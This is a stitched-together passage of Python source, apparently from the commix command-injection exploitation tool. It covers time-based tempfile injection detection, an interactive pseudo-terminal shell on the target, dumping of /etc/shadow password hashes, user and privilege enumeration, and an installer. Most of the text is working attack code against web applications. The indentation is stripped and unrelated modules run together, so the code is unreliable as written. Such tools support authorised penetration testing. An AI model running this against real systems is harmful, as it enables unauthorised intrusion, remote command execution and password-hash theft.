num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
how_long = 0
injection_type = "semi-blind command injection"
technique = "tempfile-based injection technique"
if settings.TIME_RELATIVE_ATTACK == False:
warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions."
print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
settings.TIME_RELATIVE_ATTACK = None
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
err_msg = "The '--url-reload' option is not available in " + technique + "!"
print(settings.print_critical_msg(err_msg))
if not settings.LOAD_SESSION:
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
if settings.VERBOSITY_LEVEL != 0:
info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
print(settings.print_info_msg(info_msg))
#whitespace = checks.check_whitespaces()
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
how_long_statistic = []
if settings.LOAD_SESSION:
try:
settings.TEMPFILE_BASED_STATE = True
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if timesec <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
if not menu.options.batch:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = _input(settings.print_question_msg(question_msg))
else:
proceed_option = ""
if len(proceed_option) == 0:
proceed_option = "c"
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
timesec = timesec + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
err_msg = "'" + proceed_option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 4)
randv2 = random.randrange(1, 5)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))"
# Set the original delay time
original_how_long = how_long
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if settings.VERBOSITY_LEVEL == 0:
percent = settings.info_msg
else:
percent = ""
#break
else:
break
# False positive
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = ".. (" + str(float_percent) + "%)"
print(settings.SINGLE_WHITESPACE)
# Print logs notification message
logs.logs_notification(filename)
#raise
else:
percent = ".. (" + str(float_percent) + "%)"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
if whitespace == "%20":
whitespace = " "
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method != settings.HTTPMETHOD.POST:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
info_msg += " " + http_request_method
info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
info_msg += found_vuln_parameter + " seems injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == "win":
time.sleep(1)
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "Y"
if enumerate_again in settings.CHOICE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print(settings.SINGLE_WHITESPACE)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print(settings.SINGLE_WHITESPACE)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
print(settings.SINGLE_WHITESPACE)
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(settings.print_question_msg(question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print(settings.SINGLE_WHITESPACE)
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
logs.print_logs_notification(filename, url)
raise SystemExit()
if settings.VERBOSITY_LEVEL != 0 or not new_line:
print(settings.SINGLE_WHITESPACE)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "Y"
if gotshell in settings.CHOICE_YES:
# if not menu.options.batch:
# print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
print("\n" + settings.print_output(output) + "\n")
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def system_passwords(separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, alter_shell,
filename, timesec):
if settings.TARGET_OS == "win":
# Not yet implemented!
pass
else:
cmd = settings.SYS_PASSES
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_passes = cb_injector.injection_results(response, TAG, cmd)
sys_passes = "".join(str(p) for p in sys_passes)
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if sys_passes == "":
sys_passes = " "
if sys_passes:
info_msg = "Fetching '" + settings.SHADOW_FILE
info_msg += "' to enumerate users password hashes. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split()
if len(sys_passes) != 0:
sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_passes))
info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
info_msg += " in '" + settings.SHADOW_FILE + "'.\n"
sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[
1] and fields[1] != "":
print(" (" + str(count) + ") " +
Style.BRIGHT + fields[0] +
Style.RESET_ALL + " : " + Style.BRIGHT +
fields[1] + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
fields[0] + " : " +
fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1:
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
sys.stdout.write(
settings.print_warning_msg(warn_msg) + "\n")
print(fields[0])
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
print("\n" + settings.print_warning_msg(warn_msg))
def installer():
packages = "build-essential python-dev"
dependencies = "git python-pip"
info_msg = "Starting the installer. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if OS is Linux.
if settings.PLATFORM == "posix":
# You need to have administrative privileges to run this script.
if not common.running_as_admin():
print(settings.SINGLE_WHITESPACE)
err_msg = "You need to have administrative privileges to run this option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if commix is already installed.
if os.path.isdir("/usr/share/" + settings.APPLICATION + ""):
print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that " + settings.APPLICATION
warn_msg += " is already installed in your system."
print(settings.print_warning_msg(warn_msg))
while True:
if not menu.options.batch:
question_msg = "Do you want to remove commix? [Y/n] > "
uninstall = _input(
settings.print_question_msg(question_msg))
else:
uninstall = ""
if len(uninstall) == 0:
uninstall = "Y"
if uninstall in settings.CHOICE_YES:
uninstaller()
raise SystemExit()
elif uninstall in settings.CHOICE_NO or \
uninstall in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + uninstall + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
# Check for git.
if not os.path.isfile("/usr/bin/git") or not os.path.isfile(
"/usr/bin/pip"):
# Install requirement.
if os.path.isfile("/etc/apt/sources.list"):
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
# Check for dependencies.
dependencies_items = dependencies.split()
for item in dependencies_items:
requirments.do_check(item)
else:
print(settings.SINGLE_WHITESPACE)
err_msg = "The installer is not designed for any "
err_msg += "other Linux distro than Ubuntu / Debian. "
err_msg += "Please install manually: " + dependencies
print(settings.print_critical_msg(err_msg))
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
# Force install of necessary packages
subprocess.Popen("apt-get --force-yes -y install " + packages +
">/dev/null 2>&1",
shell=True).wait()
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
info_msg = "Installing " + settings.APPLICATION
info_msg += " into the /usr/share/" + settings.APPLICATION + ". "
sys.stdout.write(settings.print_info_msg(info_msg))
try:
current_dir = os.getcwd()
subprocess.Popen("cp -r " + current_dir + " /usr/share/" +
settings.APPLICATION + " >/dev/null 2>&1",
shell=True).wait()
subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION +
"/" + settings.APPLICATION +
".py >/dev/null 2>&1",
shell=True).wait()
except:
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
info_msg = "Installing " + settings.APPLICATION
info_msg += " to /usr/bin/" + settings.APPLICATION + ". "
sys.stdout.write(settings.print_info_msg(info_msg))
try:
with open("/usr/bin/" + settings.APPLICATION, 'w') as f:
f.write('#!/bin/bash\n')
f.write('cd /usr/share/commix/ && ./commix.py "$@"\n')
subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION +
" >/dev/null 2>&1",
shell=True).wait()
except:
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
#Create the Output Directory
try:
os.stat(settings.OUTPUT_DIR)
except:
try:
os.mkdir(settings.OUTPUT_DIR)
except OSError as err_msg:
try:
error_msg = str(err_msg).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg) + "."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
info_msg = "The installation is finished! Type '"
info_msg += settings.APPLICATION + "' to launch it."
print(settings.print_bold_info_msg(info_msg))
else:
print(settings.SINGLE_WHITESPACE)
err_msg = "The installer is not designed for any other system other than Linux. "
err_msg += "Please install manually: " + packages + dependencies
print(settings.print_critical_msg(err_msg))
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
# eof
def current_user(separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, alter_shell,
filename, timesec):
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
cu_account = cb_injector.injection_results(response, TAG, cmd)
cu_account = "".join(str(p) for p in cu_account)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd,
vuln_parameter)
if cu_account:
cu_account = "".join(str(p) for p in cu_account)
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if settings.USE_BACKTICKS:
cmd = cmd.replace("echo $(", "").replace(")", "")
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
info_msg = "The current user is " + str(cu_account)
sys.stdout.write(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The current user is " + cu_account
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
if shell:
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.RESET_ALL + Style.BRIGHT +
"privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
info_msg = "The current user is " + str(cu_account)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
info_msg = "The current user is " + cu_account + "\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
print(settings.print_warning_msg(warn_msg))
def system_users(separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, alter_shell,
filename, timesec):
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
